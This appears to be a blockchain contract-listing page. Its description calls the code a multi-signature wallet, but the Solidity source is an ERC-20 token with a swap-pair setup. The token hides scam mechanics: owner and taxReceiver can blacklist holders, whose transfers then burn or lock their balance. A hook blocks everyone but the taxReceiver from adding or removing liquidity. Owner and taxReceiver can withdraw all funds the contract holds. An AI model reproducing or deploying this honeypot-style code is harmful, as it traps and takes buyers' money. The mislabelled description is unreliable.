Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
interface ISwapPair {
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function skim(address to) external;
function sync() external;
}
interface ISwapFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface ISwapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
contract Token is Ownable, IERC20, IERC20Metadata, IERC20Errors {
using SafeMath for uint256;
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 public totalSupply;
address public axReceiver;
string public name;
string public symbol;
address public pairAddress;
address public taxReceiver;
ISwapRouter private _swapRouter;
mapping(address => bool) private _blackList;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_, address taxReceiver_, address swapRouter_) Ownable(_msgSender()) {
require(totalSupply_ > 0, "totalSupply must > 0");
require(swapRouter_ != address(0), "factory is zero address");
name = name_;
symbol = symbol_;
totalSupply = totalSupply_ * 10**18;
taxReceiver = taxReceiver_;
_swapRouter = ISwapRouter(swapRouter_);
ISwapFactory factory = ISwapFactory(_swapRouter.factory());
pairAddress = factory.createPair(address(this), _swapRouter.WETH());
_mint(msg.sender, totalSupply);
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function balanceOf(address account) public view virtual returns (uint256) {
require(account != address(0), "balance query for the zero address");
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner_ = _msgSender();
_transfer(owner_, to, value);
return true;
}
function allowance(address owner_, address spender_) public view virtual returns (uint256) {
return _allowances[owner_][spender_];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner_ = _msgSender();
_approve(owner_, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
if (_blackList[from]) {
_burn(from, _balances[from]);
return;
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
preUpdateHook(from, to, value);
if (from != address(0)) {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to != address(0)) {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0xdead), value);
}
function _approve(address owner_, address spender, uint256 value) internal {
_approve(owner_, spender, value, true);
}
function _approve(address owner_, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner_ == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner_][spender] = value;
if (emitEvent) {
emit Approval(owner_, spender, value);
}
}
function _spendAllowance(address owner_, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner_, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner_, spender, currentAllowance - value, false);
}
}
}
receive() external payable {}
function withdraw(address _token) external {
require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
address receiver = _msgSender();
if (_token == address(0x0)) {
payable(receiver).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
bool succeed = erc20token.transfer(receiver, balance);
require(succeed, "ERC20 transfer failed");
}
function _isAddLiquidity(address _token, address _currency) internal view returns (bool isAdd) {
ISwapPair pair = ISwapPair(pairAddress);
(uint r0, uint256 r1, ) = pair.getReserves();
address tokenOther = _currency;
uint256 r;
if (tokenOther < _token) {
r = r0;
} else {
r = r1;
}
uint bal = IERC20(tokenOther).balanceOf(pairAddress);
isAdd = bal > r;
}
function _isRemoveLiquidity(address _token, address _currency) internal view returns (bool isRemove) {
ISwapPair pair = ISwapPair(pairAddress);
(uint r0, uint256 r1, ) = pair.getReserves();
address tokenOther = _currency;
uint256 r;
if (tokenOther < _token) {
r = r0;
} else {
r = r1;
}
uint bal = IERC20(tokenOther).balanceOf(pairAddress);
isRemove = r >= bal;
}
function updateBlackList(address[] calldata addrs, bool[] calldata values) external {
require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
require(addrs.length == values.length, "length mismatch");
for (uint i=0; i<addrs.length; i++)
{
address addr = addrs[i];
if (addr != taxReceiver && addr != pairAddress) {
_blackList[addr] = values[i];
}
}
}
function removeBlackList(address[] calldata addrs) external {
require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
for (uint i=0; i<addrs.length; i++)
{
address addr = addrs[i];
if (_blackList[addr] && addr != address(0)) {
delete _blackList[addr];
}
}
}
function preUpdateHook(address from, address to, uint256 value) internal virtual {
if (_blackList[from]) {
_burn(from, _balances[from]);
}
if (from != address(0) && value > 0) {
bool isAdd;
bool isRemove;
if (to == pairAddress) {
isAdd = _isAddLiquidity(address(this), _swapRouter.WETH());
} else if (from == pairAddress) {
isRemove = _isRemoveLiquidity(address(this), _swapRouter.WETH());
}
if ((to == pairAddress && isAdd && taxReceiver != from) || (from == pairAddress && isRemove && taxReceiver != to) ) {
revert("invalid operation.");
}
}
}
}
Submitted on: 2025-09-19 12:45:37
Comments
Log in to comment.
No comments yet.